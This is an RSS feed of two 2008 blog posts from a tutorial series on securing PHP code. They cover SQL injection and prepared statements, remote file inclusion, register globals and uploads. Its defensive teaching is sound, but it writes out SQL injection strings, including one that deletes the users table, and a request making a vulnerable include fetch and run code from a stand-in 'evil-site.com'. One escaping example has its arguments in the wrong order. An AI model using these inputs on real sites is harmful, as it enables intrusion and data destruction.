<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Josh on the Web &#187; MySQL</title>
	<atom:link href="http://joshduck.com/blog/category/programming/mysql/feed/" rel="self" type="application/rss+xml" />
	<link>http://joshduck.com/blog</link>
	<description>It's a blog about the web, by Josh. Geddit?</description>
	<lastBuildDate>Thu, 17 Feb 2011 11:57:28 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.2.1</generator>
		<item>
		<title>Securing Your PHP Code &#8211; Databases</title>
		<link>http://joshduck.com/blog/2008/04/05/securing-your-php-code-databases/</link>
		<comments>http://joshduck.com/blog/2008/04/05/securing-your-php-code-databases/#comments</comments>
		<pubDate>Sat, 05 Apr 2008 12:05:49 +0000</pubDate>
		<dc:creator>Josh</dc:creator>
				<category><![CDATA[MySQL]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[Programming]]></category>
		<category><![CDATA[security]]></category>

		<guid isPermaLink="false">http://joshduck.com/blog/2008/04/05/securing-your-php-code-databases/</guid>
		<description><![CDATA[SQL injection is a well trodden topic so I won&#8217;t go into too much detail. For those who don&#8217;t know, the problem occurs when you fail to properly escape variables being placed into your strings. For example the SQL statement "SELECT * FROM users WHERE name = '$name'" will fail if $name is set to [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.unixwiz.net/techtips/sql-injection.html">SQL injection</a> is a well trodden topic so I won&#8217;t go into too much detail.</p>
<p>For those who don&#8217;t know, the problem occurs when you fail to properly escape variables being placed into your strings. For example the SQL statement <code>"SELECT * FROM users WHERE name = '$name'"</code> will fail if $name is set to <code>' or '1' = '1</code>. The string will be expanded to produce <code>SELECT * FROM users WHERE name = '' or '1' = '1'</code>. This is obviously not what you wanted, and could lead to very bad results when coupled with DELETE or UPDATE queries.</p>
<p><span id="more-11"></span></p>
<p>Some database libraries (but not MySQL&#8217;s PHP extension) allow multiple SQL statements inside a single call, so if <code>$name</code> was set to <code>'; DELETE FROM USERS --</code> in the previous example the first query would be ended by the semicolon and a second query would then delete all users and open a comment so that your database will ignore any trailing characters.</p>
<h2>Magic Quotes</h2>
<p>PHP 4 introduced a feature called <a href="http://au2.php.net/magic_quotes">magic quotes</a> that was intended to combat SQL injection. It did this by automatically adding backslashes before any quotes or slashes in your scripts input ($_GET or $_POST). This is widely regarded as a major mistake, as it was tackling the issue in the wrong spot. If you&#8217;ve ever seen a page which leaves backslashes in your input (think O\&#8217;Connor) then you know what I mean.</p>
<p>Magic quotes were also a failure because developers couldn&#8217;t ever assume that they were available or turned on in a given environment. Therefore they&#8217;d need to check and manually quote values if necessary, meaning there was no added value. These days you will probably need to do the opposite and unquote values when magic quotes are enabled. The <a href="http://au2.php.net/magic_quotes">comments</a> in PHP&#8217;s manual page offer a method of doing this.</p>
<h2>A Better Solution</h2>
<p>The solution to SQL injecting is to stop thinking of SQL as a single string and start thinking of it as a command with arguments. To do this you must define the SQL statement and arguments separately. The <a href="http://au2.php.net/mysqli">MySQL Improved Extension (mysqli)</a> and <a href="http://au2.php.net/pdo">PHP Data Objects</a> library both offer prepared statements which will allow you to define a query, and then to define the values for arguments inside the query.</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000088;">$stmt</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$dbh</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">prepare</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;INSERT INTO REGISTRY (name, value) VALUES (:name, :value)&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$stmt</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">bindValue</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">':name'</span><span style="color: #339933;">,</span> <span style="color: #000088;">$name</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$stmt</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">bindValue</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">':value'</span><span style="color: #339933;">,</span> <span style="color: #000088;">$value</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$stmt</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">execute</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></pre></div></div>

<p>If you feel that prepared statements are not for you then you can still define your SQL and arguments separately. I recommend using <code><a href="http://www.php.net/sprintf">sprintf</a></code> do this.</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000088;">$sql</span> <span style="color: #339933;">=</span> <span style="color: #990000;">sprintf</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;SELECT * FROM user
			WHERE name = '<span style="color: #009933; font-weight: bold;">%s</span>'
			AND id &gt; <span style="color: #009933; font-weight: bold;">%d</span>&quot;</span><span style="color: #339933;">,</span>
		<span style="color: #990000;">mysqli_real_escape_string</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$name</span><span style="color: #339933;">,</span> <span style="color: #000088;">$db</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">,</span>
		<span style="color: #990000;">mysqli_real_escape_string</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$id</span><span style="color: #339933;">,</span> <span style="color: #000088;">$db</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></pre></div></div>

<p>This is a little more verbose than what you are probably used to, but it makes it easy to see when a value has not been escaped. The escape function needs your DB link because it will match the encoding that your database is using. This gives you extra security against SQL injections. I use <a href="http://www.php.net/func_get_args">func_get_args</a> and <a href="http://www.php.net/vsprintf">vsprintf</a> to create a function to do the querying and escaping in a single function.</p>
<h2>Final Tips</h2>
<p>Your final line of defence against SQL injection is to plan for the worst.</p>
<p>Make sure that the MySQL user your website is using only has the permissions it needs, and no more. You should set up a new user with INSERT, UPDATE, DELETE and SELECT permissions on your current tables only.</p>
<p>It is a good idea to perform rolling database backups on a regular basis. This will obviously protect against database corruption, but could also make the difference between a vulnerability being a short outage or a complete loss of data.</p>
<p>You should avoid printing your SQL errors (e.g. <code>mysql_error()</code>) if your database calls fail. This can give attackers clues as to where you have errors in your code. It also looks unprofessional.</p>
<h2>Physical Access</h2>
<p>Even if your security is foolproof (which it won&#8217;t ever be) then you&#8217;re still in trouble if someone steals a physical device containing your data. Time and time again you&#8217;ll hear of someone stealing a laptop or discs containing <a href="http://news.bbc.co.uk/2/hi/uk_news/politics/7128851.stm">sensitive information</a>. Often these is no reason for the data to be in such a vulnerable location in the first place. If you do need to copy data from your secure setup then encrypting it is a very good idea.</p>
<h2>General Security Rules</h2>
<p>I hope this tutorial has made you aware of some of the security issues you&#8217;ll be up against as a PHP developer. I&#8217;d like to leave you with a few tips that aren&#8217;t specific to any security issue, but are good to keep in mind.</p>
<ul>
<li>Build on the work of others. Don&#8217;t build your own security when you can use what other, smarter, people have already done.</li>
<li>Where possible use whitelists instead of blacklists.</li>
<li>Never trust your user&#8217;s input. Ever.</li>
</ul>
<h2>Other articles in this series</h2>
<ul>
<li><a href="../securing-your-php-code-xss/">Securing Your PHP Code &#8211; XSS</a></li>
<li><a href="../securing-your-php-code-server-security/">Securing Your PHP Code &#8211; Server Security</a></li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://joshduck.com/blog/2008/04/05/securing-your-php-code-databases/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Securing Your PHP Code &#8211; Server Security</title>
		<link>http://joshduck.com/blog/2008/04/05/securing-your-php-code-server-security/</link>
		<comments>http://joshduck.com/blog/2008/04/05/securing-your-php-code-server-security/#comments</comments>
		<pubDate>Sat, 05 Apr 2008 12:04:37 +0000</pubDate>
		<dc:creator>Josh</dc:creator>
				<category><![CDATA[MySQL]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[Programming]]></category>
		<category><![CDATA[security]]></category>

		<guid isPermaLink="false">http://joshduck.com/blog/2008/04/05/securing-your-php-code-server-sercurity/</guid>
		<description><![CDATA[When protecting your server environment you&#8217;ll want to ensure that two things happen. Firstly, you&#8217;ll want to keep your scripts from prying eyes; you want to make sure that you don&#8217;t accept input that will break your code. Secondly, and most importantly, you want to stop anyone from executing their own code on your servers. [...]]]></description>
			<content:encoded><![CDATA[<p>When protecting your server environment you&#8217;ll want to ensure that two things happen. Firstly, you&#8217;ll want to keep your scripts from prying eyes; you want to make sure that you don&#8217;t accept input that will break your code. Secondly, and most importantly, you want to stop anyone from executing their own code on your servers.</p>
<p><span id="more-12"></span><br />
<h2>Keeping Code Private</h2>
<p>There are many reasons why you would want to keep your code from being leaked. It may contain passwords or API keys, it could give attackers an idea of where your code is vulnerable or you might just not want some idiot to nick your code and benefit from your hard work.</p>
<p>Of course everyone knows that <a href="http://en.wikipedia.org/wiki/Security_through_obscurity">security by obscurity is bad</a>, but if you have holes in your code then it&#8217;s obviously better if other people didn&#8217;t know about them.</p>
<p>The number one rookie mistake is failing to give your PHP scripts a .php extension. This may seem obvious, but lots of people seem to like naming their files something like &#8220;functions.inc&#8221; or &#8220;MyClass.class&#8221;, seemingly unaware that anyone can request those files and view the raw code.</p>
<p>As well as giving files a correct extension you also consider moving them out of your web root anyway. You don&#8217;t need them in there, and having them in a non-public path makes everything safer. If you don&#8217;t want to rearrange your site structure then you could just use .htaccess to deny all requests to your include folder. In your-site.com/includes/.htaccess</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;">Deny from all</pre></div></div>

<p>Facebook recently had a <a href="http://killersoft.com/randomstrings/2007/08/12/php-did-not-cause-facebook-code-leakage/">configuration</a> <a href="http://www.techcrunch.com/2007/08/11/facebook-source-code-leaked/">issue</a> that caused their PHP files to be sent out as plain text. It only takes one small mistake to show the entire world the code base stored in your web root.</p>
<h2>Remote Code Execution</h2>
<p>The last thing you ever want is to have an attacker run their own code on your servers. Unfortunately there are a few simple mistakes that could open your site up to this possibility.</p>
<p>Watch what you include or require. Many people use include as a shortcut in their templates. For example</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;">&lt;html&gt;
&lt;body&gt;
	&lt;div class=&quot;header&quot;&gt;...&lt;/div&gt;
	<span style="color: #000000; font-weight: bold;">&lt;?php</span> <span style="color: #b1b100;">include</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_GET</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'page'</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">.</span> <span style="color: #0000ff;">'.php'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #000000; font-weight: bold;">?&gt;</span>
&lt;/body&gt; 	
&lt;/html&gt;</pre></div></div>

<p>This is a major no-no. The first problem is that an attacker can use this vulnerability to have any file on your system output to them. <code>/etc/passwd</code>. PHP will also allow you to include files from a remote server. An attacker can use this &#8220;feature&#8221; against you a request to <code>http://www.your-site.com/index.php?page=</code><code>http://www.evil-site.com/malicious-script.php.txt</code> would force your server to download and execute code from the &#8220;evil-site.com&#8221; domain. Once that happens the user can attack your system by executing <a href="http://kestas.kuliukas.com/Webkit/">shell functions</a>.</p>
<p>If you want to use the above pattern of templating then you can easily implement a white list of safe files.</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">&lt;?php</span>
<span style="color: #000088;">$page</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$_GET</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'page'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$pages</span> <span style="color: #339933;">=</span> <span style="color: #990000;">array</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'index'</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'about'</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'404'</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'help'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span><span style="color: #990000;">in_array</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$page</span><span style="color: #339933;">,</span> <span style="color: #000088;">$pages</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
	<span style="color: #000088;">$page</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">'404'</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
<span style="color: #b1b100;">include</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;<span style="color: #006699; font-weight: bold;">$page</span>.php&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000000; font-weight: bold;">?&gt;</span></pre></div></div>

<h2>Register Globals</h2>
<p>In the early days of PHP, external variables ($_GET, $_POST) were expanded as variables directly into the global scope: a query string of &#8220;?a=foo&#8221; would create a variable called <code>$a</code> in your local scope. This is thanks to the register globals functionality. Although this could seem useful, it is <a href="http://www.php.net/register_globals">potentially dangerous</a>. You should always turn off register globals in php.ini. If you can&#8217;t edit your php.ini then add the following to your .htaccess file</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;">php_value register_globals <span style="color: #cc66cc;">0</span></pre></div></div>

<h2>User Uploaded Files</h2>
<p>Apache is set to pass any file with a &#8220;php&#8221; extension through to PHP. This means you have to be careful when storing user-uploaded files in your public directories. You may choose to allow users to upload their own avatar. It you keep the name given to the file by the user then you could be in for some trouble.</p>
<h2>Form Validation</h2>
<p>One final word of warning: don&#8217;t be tempted to leave any data validation to the client side. You might have written a nifty JavaScript function that does everything for you, but don&#8217;t just leave it at that. You should always write your PHP validating first (and also use your database rules where possible). JavaScript validation is something you should attempt when everything else works perfectly, and should be approached as a way of speeding things up for the end user.</p>
<h2>Other articles in this series</h2>
<ul>
<li><a href="../securing-your-php-code-xss/">Securing Your PHP Code &#8211; XSS</a></li>
<li><a href="../securing-your-php-code-databases/">Securing Your PHP Code &#8211; Databases</a></li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://joshduck.com/blog/2008/04/05/securing-your-php-code-server-security/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

